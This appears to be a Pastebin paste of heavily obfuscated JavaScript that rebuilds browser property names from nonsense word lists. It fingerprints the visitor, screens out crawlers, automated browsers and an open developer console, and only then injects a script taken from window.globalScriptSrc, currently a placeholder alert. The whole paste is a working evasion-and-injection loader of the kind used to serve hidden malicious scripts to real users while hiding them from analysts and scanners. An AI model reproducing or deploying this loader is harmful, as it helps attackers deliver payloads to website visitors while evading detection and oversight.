Advertisement
lana_mouse

Untitled

Oct 10th, 2018
491
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.79 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2. var t = this;
  3. var bingo, paper, check, c, d, obj, translate, Message;
  4. +function () {
  5. var l = loadBindData;
  6. var lib = 'React';
  7. var accessCode = 1e13;
  8.  
  9. var appRequirements = {
  10. device: 'pc',
  11. screen: 1980,
  12. lang: 'java',
  13. cookie: true,
  14. src: '',
  15. teg: 'body',
  16. support: 'global',
  17. internet: 'enabled',
  18. method: 'post',
  19. accent: 'color',
  20. plugins: ['react-datepicker', 'rc-tree'],
  21. security: true,
  22. name: 'app',
  23. version: '1.0.0',
  24. platform: []
  25. };
  26.  
  27. var calc = Math;
  28.  
  29. var elem = up(getData(l, 'not', 'logo', 'dom', 'clone')); // Node
  30. var user = {
  31. login: 'Agent',
  32. password: 'user'
  33. };
  34. var st = "";
  35. var additional = ['Message', 'side', 'bug', 'sistem', 'post'];
  36. var entities = ['vas', 'ran', 'bar', 'dom', 'can', 'gate', 'web', 'or', 'ment', 'cube'];
  37.  
  38. var code = accessCode;
  39. var stamp = new Date / code;
  40. var del = '|';
  41. var winter = ['ice', 'x', 'glove', 'log'];
  42. var logo = $(entities[1], entities[3]); //random
  43.  
  44. var ladder = {
  45. getCheck: function () {
  46. translate = bingo;
  47. return this
  48. },
  49.  
  50. getContext: function () {
  51. getContext(entities, additional);
  52. // one more window
  53. if (document.documentElement.firstElementChild === undefined) {
  54. obj = t;
  55. Object.defineProperty(Element.prototype, 'firstElementChild', {
  56. get: function () {
  57. var el = this.firstChild;
  58. do {
  59. if (el.nodeType === 1) {
  60. return el;
  61. }
  62. el = el.nextSibling;
  63. } while (el);
  64. return null;
  65. }
  66. });
  67.  
  68. } else {
  69. obj = t;
  70. }
  71. return this
  72. },
  73.  
  74. getAge: function () {
  75. if (t) {
  76. paper = t[d]; // document
  77. c = paper; // document
  78. }
  79. return this
  80. }
  81. };
  82.  
  83. ladder.getContext()
  84. .getAge()
  85. .getCheck();
  86.  
  87. ~function (a, b) {
  88. var x = [];
  89. for (var i = 0; i < b.length; i++) {
  90. if (!i) {
  91. x.push(b);
  92. Message = RegExp;
  93. }
  94. }
  95. calc[b] = function () { return stamp };
  96. if (a) {
  97. a.forEach(calculatePosition)
  98. };
  99. }(getPlace(), logo);
  100.  
  101. var picture;
  102. var club = getData(l, 'follow', 'int', 'baloon') // win
  103. var jeans = getData(loadBindData, 'mem', 'rumba', 'coc'); // mac
  104. var passive = getData(l, 'cap', 'bath', 'cancer', 'mango', 'scream'); // chrom
  105. var filter = typeof l;
  106. var summer = getData(loadBindData, 'sun', 'ice', 'sand', 'wine', 'crab', 'umbrella', 'rom'); // sidebar
  107.  
  108. var nut = String.fromCharCode(68) + (!![] + '').substring(3, 4) + additional[2]; // Debug
  109. var romb = lib.slice(0, 2) + lib.slice(3); // Rect
  110. var ff = t[summer]; //isNativeFF,
  111.  
  112. var age = t[nut]; // IE/Edge
  113. var auth = t[romb];
  114. var rec = getData(loadBindData, 'octopus', 'ant', 'fox', 'mamba', 'order', 'int'); // safari
  115. var inc = getData(l, 'fan', 'in', 'pair', 'end'); // fire;
  116. var _under = $($(inc, updateRequest(filter, 1)), winter[1]); // firefox
  117. // edge
  118. var _mark = getData(l, 'bese', 'do', 'god', 'eagle'); // edge
  119.  
  120.  
  121. function getKeys(obj) {
  122. var keys = [];
  123. iterate(obj, function (oVal, oKey) { keys.push(oKey) });
  124. return keys;
  125. };
  126.  
  127. var end = getData(loadBindData, 'cake', 'nut', 'sorbet'); // ent
  128. var music = getData(l, 'pop', 'alternative', 'rap').toUpperCase(); // PER
  129. var findPart = additional[3].slice(0, 4).toUpperCase();
  130. var style = $(music, findPart);
  131.  
  132. var primaryColor = $(style, end).toUpperCase();
  133. var isColored = obj[primaryColor]; // window.PERSISTENT
  134. var translations = getKeys(appRequirements);
  135. var radius = obj[translations[1]];
  136. var help = translations[3] + appRequirements['internet'].slice(0, 1).toUpperCase() + appRequirements['internet'].slice(1);
  137. var under = '__';
  138.  
  139. function iterate(iterable, callback) {
  140. for (var key in iterable) {
  141. if (key === 'length' || key === 'prototype' || !Object.prototype.hasOwnProperty.call(iterable, key)) continue;
  142. callback(iterable[key], key, iterable);
  143. }
  144. };
  145.  
  146. function getImage(x, y) {
  147. return entities[x] + entities[y];
  148. };
  149.  
  150.  
  151. function getDeep() {
  152. var abc = getData(l, 'lacrosse', 'pit', 'port', 'hat'); // epth
  153. return $(String.fromCharCode(68), abc);
  154. };
  155.  
  156.  
  157. var volume = getData(l, 'can', 'bars', 'pop', 'tumor');
  158.  
  159. var prog = fetchData(under, volume, under); //__cspr__
  160. function findExt() { //devicePixelRatio
  161. var point = $(String.fromCharCode(80), getData(loadBindData, winter));
  162. var rang = getData(l, 'Rom', 'axe', 'sport', 'ink', 'solo'); //Ratio
  163. return $($(translations[0], point), rang);
  164. };
  165.  
  166. var deepRatio = $(appRequirements.accent, getDeep()) //screen.colorDepth;
  167. var assets = translations[10]; // plugins
  168. var isFavorite = checkFavorite(); // isNewChrome
  169.  
  170.  
  171. function getData() {
  172. var temp = [];
  173. var w = '';
  174. var f = arguments[0];
  175. if (Array.isArray(arguments[1])) {
  176. var data = arguments[1];
  177. if (!data || !data.length) {
  178. return data
  179. } else {
  180. for (var j = 0; j < data.length; j++) {
  181. w += f(data[j])
  182. }
  183. }
  184. } else {
  185. for (var i = 1; i < arguments.length; i++) {
  186. w += f(arguments[i])
  187. }
  188. }
  189. return w
  190. };
  191. var control = appRequirements.lang + up(appRequirements.internet); // javaEnabled
  192.  
  193. var base = getData(loadBindData, 'bus', 'metro', 'sled', 'lorry'); // body
  194. var length = 'Child';
  195. var isOn = appRequirements.internet[0].toUpperCase();
  196. function getWage(param) {
  197. if (param[translations[11]]) {
  198. return 4
  199. } else if (ff) {
  200. return 1
  201. } else {
  202. return 2
  203. }
  204. };
  205.  
  206. var _alt = getData(l, 'up', 'map');
  207.  
  208. var oldEntries = appRequirements.name + elem.replace('N', 'C') + up('name'); // appCodeName
  209. var newEntries = appRequirements.name + up(translations[13]); // appVersion
  210.  
  211. var isSmall = function () { return !st.match.call(translate[assets][0].name, _alt) }; // 0 in Chromium
  212. var wage = getWage(paper); // consoleCounter
  213.  
  214. function findEntries() {
  215. return [bingo[oldEntries], bingo[newEntries]].join(bingo[control]).match(/"/g);
  216. };
  217.  
  218. function getPlace() {
  219. return t[elem][prog];
  220. };
  221.  
  222. var signedIn = $(user.password, user.login); // userAgent
  223. var checked = translate[signedIn]; // navigator.userAgent
  224.  
  225. function calculatePosition(coord) {
  226. return t[elem].prototype[coord[0]] = coord[1];
  227. };
  228.  
  229. var highlight = getData(l, 'buz', 'goal', 'pikabu', 'tour'); // blur
  230. var animals = getData(l, 'cat', 'rat', 'grizzly', 'pig', 'marmot', 'armadillo'); // crypto
  231. var isRealCaterpillar = typeof (obj[animals]) == "function" || findEntries(); // isFakeCrawler
  232. var addFile = findFastSolution(true); // createElement
  233. var width = appRequirements;
  234.  
  235. function updateRequest(data, _n) {
  236. var result = '';
  237. if (typeof data === 'string' && _n || _n == 0) {
  238. if (_n === 1) {
  239. result += data[0];
  240. var _m = data[data.length - 2];
  241. return result += _m;
  242. } else if (n == 2) {
  243. return 0
  244. }
  245. }
  246. };
  247.  
  248. function loadBindData(s) {
  249. if (s.length > 3) {
  250. return s[s.length - 1];
  251. }
  252. else return s[0];
  253. };
  254.  
  255. var png = getImage(4, 0);
  256. var img = paper[addFile](png); // canvasElem
  257. var attr = 'src';
  258. function $(str, lett) {
  259. return str + lett;
  260. };
  261. var imageSrc = getImageSrc();
  262.  
  263. try {
  264. var event = t[highlight] + st;
  265. } catch (e) { var event = false };
  266.  
  267. function findItem() { return $(translations[1][0], animals.slice(0, 2)) + $('ip', end[2]); }; // script
  268. var padding = width.name; // app
  269. var language = /g/;
  270. var doCheck = function () { // fireTrackingScript
  271. var content = addImage();
  272. return content(paper[addFile](findItem()))[attr] = t[imageSrc];
  273. };
  274.  
  275. function addImage() {
  276. var place = $(padding, 'end'); // append
  277. var height = calculateImageHeight(place);
  278. return paper[width.teg][height].bind(paper[width.teg]);
  279. };
  280.  
  281. function getImageSrc() { // globalScriptSrc
  282. return appRequirements.support + $(up(findItem()), up(attr));
  283. };
  284.  
  285. function up(item) {
  286. return item[0].toUpperCase() + item.slice(1);
  287. };
  288.  
  289. function calculateImageHeight(place) {
  290. return $(place, length)
  291. };
  292.  
  293. language.toString = function () { --wage; return st };
  294.  
  295. var magic = translations[14];
  296.  
  297. var magicMessage = function () {
  298. var ink = fetchData(club, del, jeans);
  299. return new Message(ink, 'gi');
  300. };
  301.  
  302. var checkedData = checkData() || checkTime() || checkPassword();
  303.  
  304. function hasDayOff() {
  305. var calendar = getData(loadBindData, 'big', 'un', 'fun', 'puff', 'elf', 'run');
  306. var experiance = up(entities[6]) + up(appRequirements.support[0]) + up(appRequirements.support[1]);
  307. return $(experiance, $(up('frame'), calendar));
  308. };
  309.  
  310. var smart = getData(loadBindData, 'dog', 'caribou', 'worm', 'pig'); // dump
  311.  
  312. function fetchData() {
  313. var data = '';
  314. for (var i = 0; i < arguments.length; i++) {
  315. data += arguments[i]
  316. }
  317. return data
  318. };
  319.  
  320. var h = getData(l, 'kookaburra', 'albatross', 'sou', 'eagle', 'man', 'bat', 'kestrel', 'canary'); //assembly
  321.  
  322. var low = entities[7][0] + additional[1][0] + entities[4][0] + additional[4][0] + additional[2][1];
  323.  
  324. function createMessage(text, f) {
  325. return new Message(text, f);
  326. };
  327.  
  328. var down = $(up(entities[6]), up(h));
  329.  
  330. var corner = $(getData(loadBindData, 'wow', 'a', 'sun', 'fantom'), up(appRequirements.internet));
  331.  
  332. function checkData() {
  333. var _mask = (auth || ff);
  334. const __tt = signIn();
  335. if (!Array.of) {
  336. Array.of = function () {
  337. return Array.prototype.slice.call(arguments);
  338. };
  339. }
  340. return checked.match(__tt) && _mask;
  341. };
  342.  
  343. function checkTime() {
  344. return checked.match(freeEnter()) && isColored && isFavorite && isSmall();
  345. };
  346.  
  347. function checkPassword() {
  348. return checked.match(isAllowed()) && age;
  349. };
  350.  
  351. function getAssets(param) {
  352. if (typeof Object.create != 'function') {
  353. Object.create = (function () {
  354. function Temp() { }
  355. var hasOwn = Object.prototype.hasOwnProperty;
  356. return function (O) {
  357.  
  358. if (typeof O != 'object') {
  359. throw TypeError('Object prototype may only be an Object or null');
  360. }
  361. Temp.prototype = O;
  362. var obj = new Temp();
  363. Temp.prototype = null;
  364.  
  365. if (arguments.length > 1) {
  366.  
  367. var Properties = Object(arguments[1]);
  368. for (var prop in Properties) {
  369. if (hasOwn.call(Properties, prop)) {
  370. obj[prop] = Properties[prop];
  371. }
  372. }
  373. }
  374. return obj;
  375. };
  376. })();
  377. }
  378. if (param) {
  379. return (!t[smart] || t[down] && bingo[low] || bingo[corner]);
  380. }
  381. };
  382.  
  383. function getDiscont(param) {
  384. var count = $(getData(l, 'bard', 'owl', 'coc', 'uno'), entities[8]); // document
  385. if (user.login && user.password) {
  386. if (typeof user == 'object') {
  387. return param ? null : count;
  388. }
  389. }
  390. return null;
  391. };
  392.  
  393. function getCredentials(list) {
  394. var cr = $(list, up(getData(l, 'stamp', 'owl', 'in', 'town', 'tablet', 'sun')));
  395. var mode = 'max';
  396. return $(mode, cr);
  397. };
  398.  
  399. function pm() {
  400. return appRequirements.method + additional[0];
  401. };
  402.  
  403. function createElement(el, value) {
  404. return el + value;
  405. };
  406.  
  407. function signIn() {
  408. var text = fetchData(rec, del, _under);
  409. return createMessage(text, 'i');
  410. };
  411.  
  412. function freeEnter() {
  413. var text = passive;
  414. return createMessage(text, 'i');
  415. };
  416.  
  417. function findFastSolution(data) { //createElement
  418. var action;
  419. if (data) {
  420. action = 'create';
  421. if (!picture) {
  422. picture = entities[4] + entities[0];
  423. } // canvas
  424. } else {
  425. picture = 'art'
  426. }
  427. var first = action + isOn;
  428. var second = getData(loadBindData, 'lip', 'elf', 'charm') + end;
  429. return $(first, second)
  430. };
  431.  
  432. function checkFavorite() {
  433. return t[pm()] && obj[findExt()] && radius[deepRatio] && bingo[help] && translate[assets];
  434. };
  435.  
  436. function isAllowed() {
  437. var text = fetchData(createElement('tr', 'id'), end, del, _mark) // /trident|edge/i
  438. return createMessage(text, 'i');
  439. };
  440. var fantastic = translate[magic].match(magicMessage());
  441. var list = up(getData(l, 'tost', 'potato', 'un', 'can', 'hot')); // Touch
  442. var assets = getAssets(list);
  443. var credentials = getCredentials(list);
  444. var dirty = !bingo[credentials];
  445. var dayOff = hasDayOff();
  446. var loaded = fantastic && dirty && !isRealCaterpillar && event && assets;
  447.  
  448. function getContext(a, p) {
  449. if (a) {
  450. if (a[2] === 'bar') {
  451. var _tag = getData(l, 'no', 'ant', 'via', 'int', 'gun', 'malaga', 'tost');//navigat
  452. var n = $(_tag, entities[7]);
  453. d = getDiscont();// document
  454. bingo = t[n]; // navigator
  455. }
  456. }
  457. };
  458.  
  459. if (loaded) {
  460. if (checkedData) {
  461. console.log(language); // will decrement "consoleCounter"
  462. if (wage > 0 && t[dayOff]) { //check for canvas support
  463. // all ok, fire script
  464. doCheck();
  465. }
  466. }
  467. };
  468. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement